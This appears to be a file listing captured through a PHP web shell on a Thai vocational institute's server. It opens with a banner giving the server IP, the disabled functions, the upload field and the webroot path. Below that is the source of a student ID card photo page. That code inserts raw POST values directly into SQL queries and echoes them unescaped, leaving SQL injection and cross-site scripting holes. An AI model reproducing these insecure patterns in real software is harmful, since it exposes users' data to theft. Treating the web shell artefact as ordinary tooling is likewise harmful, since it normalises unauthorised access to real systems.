| Server IP : 202.29.229.35 / Your IP : 18.217.136.187 Web Server : Apache System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www ( 1001) PHP Version : 5.5.38 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/www.ivecr2.ac.th/stdcard/photo_std/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>สถาบันการอาชีวศึกษาภาคกลาง 2</title>
</head>
<link rel="stylesheet" href="resources/web/css/stylesmain.css" />
<link href="iconTitle/favicon.ico" rel="shortcut icon" type="image/x-icon" />
<!------------------แสดงรูป slideshow------------------------->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script>
!window.jQuery && document.write('<script src="jquery-1.4.3.min.js"><\/script>');
</script>
<script type="text/javascript" src="./fancybox/jquery.mousewheel-3.0.4.pack.js"></script>
<script type="text/javascript" src="./fancybox/jquery.fancybox-1.3.4.pack.js"></script>
<link rel="stylesheet" type="text/css" href="./fancybox/jquery.fancybox-1.3.4.css" media="screen" />
<link rel="stylesheet" href="style.css" />
<script type="text/javascript">
$(document).ready(function() {
/*
* Examples - images
*/
$("a#example1").fancybox();
$("a#example2").fancybox({
'overlayShow' : false,
'transitionIn' : 'elastic',
'transitionOut' : 'elastic'
});
$("a#example3").fancybox({
'transitionIn' : 'none',
'transitionOut' : 'none'
});
$("a#example4").fancybox({
'opacity' : true,
'overlayShow' : false,
'transitionIn' : 'elastic',
'transitionOut' : 'none'
});
$("a#example5").fancybox();
$("a#example6").fancybox({
'titlePosition' : 'outside',
'overlayColor' : '#000',
'overlayOpacity' : 0.9
});
$("a#example7").fancybox({
'titlePosition' : 'inside'
});
$("a#example8").fancybox({
'titlePosition' : 'over'
});
$("a[rel=example_group]").fancybox({
'transitionIn' : 'none',
'transitionOut' : 'none',
'titlePosition' : 'over',
'titleFormat' : function(title, currentArray, currentIndex, currentOpts) {
return '<span id="fancybox-title-over">Image ' + (currentIndex + 1) + ' / ' + currentArray.length + (title.length ? ' ' + title : '') + '</span>';
}
});
/*
* Examples - various
*/
$("#various1").fancybox({
'titlePosition' : 'inside',
'transitionIn' : 'none',
'transitionOut' : 'none'
});
$("#various2").fancybox();
$("#various3").fancybox({
'width' : '75%',
'height' : '75%',
'autoScale' : false,
'transitionIn' : 'none',
'transitionOut' : 'none',
'type' : 'iframe'
});
$("#various4").fancybox({
'padding' : 0,
'autoScale' : false,
'transitionIn' : 'none',
'transitionOut' : 'none'
});
});
</script>
<!------------------------------------------->
<body>
<?php
include("connect/connect.php");
$year =$_POST['y'];//ปีการศึกษา
$scid= $_POST['tecSchool'];//วิลัยฯที่เลือก$schoolid;
$major_id = $_POST['tecSub'];//รหัสสาขาวิชาที่เลือก$majorID;
echo "year=>".$year;
echo "<br>school=>".$scid;
echo "<br>major_ID=>".$major_id;
//ดึงชื่อวิลัย
$sqlschool="select * from tbl_school where subscID='$scid' ";
$reschool=mysql_query($sqlschool);
$rsschool=mysql_fetch_array($reschool);
$scName=$rsschool['scName'];
//ดึงชื่อสาขา
$sqlmajor="select * from tbl_dptsubject where sbID='$major_id' ";
$remajor=mysql_query($sqlmajor);
$rsmajor=mysql_fetch_array($remajor);
$sbname=$rsmajor['sbName'];
if($scid ==""){
$scregister="";
}else{
$scregister="สังกัด";
$scnameori=$scName;
}
if($major_id==""){
$maname ="";
}else{
$maname = "สาขาวิชา";
$sbnameori = $sbname;
}
if($year == ""){
$yearsori="";
}else{
$textori="ประจำปี";
$yearsori=$year;
}
?>
<center>
ทำเนียบรูปถ่าย<br />
นักศึกษาหลักสูตรเทคโนโลยีบัณฑิต<br />
<?php echo $maname.$sbnameori."<br>".$scregister.$scnameori." สถาบันการอาชีวศึกษาภาคกลาง 2"; ?>
</center>
<br />
<table width="800" border="0" align="center" cellpadding="3" cellspacing="1">
<tr>
<td width="50" height="40" align="center" valign="middle" bgcolor="#CCCCCC">ลำดับที่</td>
<td width="100" height="40" align="center" valign="middle" bgcolor="#CCCCCC">เลขที่บัตร</td>
<td width="150" height="40" align="center" valign="middle" bgcolor="#CCCCCC">รหัส นศ.</td>
<td height="40" colspan="2" align="center" valign="middle" bgcolor="#CCCCCC">ชื่อ - นามกสุล</td>
<td width="100" height="40" align="center" valign="middle" bgcolor="#CCCCCC">วันออกบัตร</td>
<td width="100" height="40" align="center" valign="middle" bgcolor="#CCCCCC">บัตรหมดอายุ</td>
<td width="50" height="40" align="center" valign="middle" bgcolor="#CCCCCC"> </td>
</tr>
<?php
if($year == '' && $scid == '' && $major_id== ''){//4
$sqlstdall="select * from tblstd_idcard order by student_id,card_no ASC";
}else if($year != NULL && $scid == '' && $major_id== ''){//8
$sqlstdall="select * from tblstd_idcard where start_year='$year' order by student_id,card_no ASC";
}else if($year == '' && $scid != '' && $major_id== ''){//7
$sqlstdall="select * from tblstd_idcard where idschool='$scid' order by student_id,card_no ASC";
}else if($year == '' && $scid == '' && $major_id != ''){//11
$sqlstdall="select * from tblstd_idcard where major_id='$major_id' order by student_id,card_no ASC";
}else if($year != '' && $scid != '' && $major_id == ''){//10
$sqlstdall="select * from tblstd_idcard where start_year='$year' and idschool='$scid' order by student_id,card_no ASC";
}else if($year != '' && $scid == '' && $major_id != ''){//9
$sqlstdall="select * from tblstd_idcard where start_year='$year' and major_id='$major_id' order by student_id,card_no ASC";
}else if($year == '' && $scid != '' && $major_id == ''){ //1
$sqlstdall="select * from tblstd_idcard where idschool='$scid' order by student_id,card_no ASC";
}else if($year == '' && $scid != '' && $major_id != ''){//2
$sqlstdall="select * from tblstd_idcard where idschool='$scid' and major_id='$major_id' order by student_id,card_no ASC";
}else if($year == '' && $scid == '' && $major_id != ''){ //5
$sqlstdall="select * from tblstd_idcard where major_id='$major_id' order by student_id,card_no ASC";
}else if($year != '' && $scid == '' && $major_id != ''){//6
$sqlstdall="select * from tblstd_idcard where start_year='$year' and major_id='$major_id' order by student_id,card_no ASC";
}else if($year != '' && $scid != '' && $major_id != ''){ //3
$sqlstdall="select * from tblstd_idcard where start_year='$year' and major_id='$major_id' and idschool='$scid' order by student_id,card_no ASC";
}
//------------------
//echo "==>".$sqlstdall;
$result=mysql_query($sqlstdall);
$n=0;
while($rsstd=mysql_fetch_array($result)){
$n++;//ลำดับที่
$card_no=$rsstd['card_no'];//เลขที่บัตร
/*
if(strlen($card_no)==1)
$card_no_show = "000".$card_no;
elseif(strlen($card_no)==2)
$card_no_show = "00".$card_no;
elseif(strlen($card_no)==3)
$card_no_show = "0".$card_no;
elseif(strlen($card_no)==4)
$card_no_show = $card_no;
*/
$perfix_idori =$rsstd['perfix_id'];
if($perfix_idori=="002")
$stdPrefixThaiori="นาย";
elseif($perfix_idori=="003")
$stdPrefixThaiori="นางสาว";
elseif($perfix_idori=="009")
$stdPrefixThaiori="จ.ส.ท.";
else
$stdPrefixThaiori="";
if($bg == "#D5EEFF"){
$bg= "#F0F9FF";
}else{
$bg ="#D5EEFF";
}
echo "picstd=>".$rsstd['student_id']."."."jpg";
?>
<tr bgcolor="<?php echo $bg;?>" onmousemove="this.style.backgroundColor='#FFE495'" onmouseout="this.style.backgroundColor=''">
<td width="50" align="center" valign="top"><?php echo $n;?></td>
<td width="100" align="center" valign="top"><?php echo $card_no;?></td>
<td width="150" align="center" valign="top"><?php echo $rsstd['student_id'];?></td>
<td width="150" align="left" valign="top"><?php echo $stdPrefixThaiori.$rsstd['stu_fname'];?></td>
<td width="150" align="left" valign="top"><?php echo $rsstd['stu_lname'];?></td>
<td width="100" align="center" valign="top"><img src="photo_std/<?php echo $rsstd['student_id']."."."jpg";?>" width="159" height="210" /></td>
<td width="100" align="center" valign="top"><?php echo $rsstd['date_expire'];?></td>
<td width="50" align="center" valign="top">แก้ไข </td>
</tr>
<?php
}//end while
?>
</table>
</body>
</html>